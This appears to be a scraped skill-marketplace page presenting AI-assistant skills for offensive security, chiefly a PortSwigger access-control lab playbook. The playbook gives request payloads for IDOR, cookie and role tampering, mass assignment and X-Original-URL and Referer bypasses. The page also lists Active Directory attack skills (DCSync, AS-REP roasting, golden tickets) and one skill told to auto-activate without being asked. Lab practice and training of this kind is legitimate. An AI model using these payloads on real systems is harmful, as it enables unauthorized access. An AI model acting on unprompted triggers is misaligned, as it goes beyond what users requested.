القائمة
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Bug bounty findings secretary, tracker, and workspace initializer for the bb-huge portal. Use this skill for web security research, vulnerability hunting, and hunt workspace setup. Triggers on: "log finding", "save finding", "add to bb-huge", "record vulnerability", "update finding", "show findings", "bb-huge stats", "mark as confirmed", "mark as rewarded", "setup workspace", "pull evidence", "continue working on finding", "dump attachments", "list my skills", "what skills do I have", "/bb-huge init", "init hunt workspace", "new bug bounty program", "start hunting", "mobile bug bounty", "binary analysis", "source code review", "white-box audit", "h1-brain", "hack program", "hack()", "search disclosed", "fetch rewarded". Also auto-activates whenever a vulnerability is discovered during any recon, fuzzing, or manual testing session — do not wait to be asked.
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain without executing code on the target Domain Controller.
Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via PsExec/WMI/DCOM, DCSync for NTDS extraction, and Golden/Silver ticket forging. Covers the full kill chain from domain user to domain admin.
Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achieved, simulating an Advanced Persistent Threat (APT) establishing deep persistence that survives password resets.
| name | Access Control — Complete Deep Dive |
| description | Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques |
| domain | cybersecurity |
| subdomain | bug-hunting |
| version | 1.0.0 |
| category | bug-hunting/deep-dive-labs |
| tags | ["portswigger","deep-dive","exploitation","zero-day","lab-solutions"] |
| mitre_attack | ["T1078"] |
| tools | ["burp-suite","curl","sqlmap","ffuf","python","hashcat","ysoserial"] |
| difficulty | advanced |
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
/robots.txt reveals /administrator-panel. Navigate directly.adminPanelTag.setAttribute('href', '/admin-abcd1234');Cookie: session=xxx; Admin=true
Admin=false to Admin=true or roleid=2.{"email":"a@b.com","roleid":2}
roleid to the profile update JSON request (mass assignment).GET /my-account?id=carlos HTTP/1.1
/my-account?id=VICTIM-GUID.GET /my-account?id=carlos HTTP/1.1
/my-account?id=administrator — password visible in masked input field (view source).GET /download-transcript/2.txt HTTP/1.1
1.txt to 2.txt etc to download other users' chat transcripts.GET /?username=carlos HTTP/1.1
X-Original-URL: /admin/delete
/admin/* but backend processes X-Original-URL header.GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
Referer: https://TARGET/admin
/admin.When standard technique fails:
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class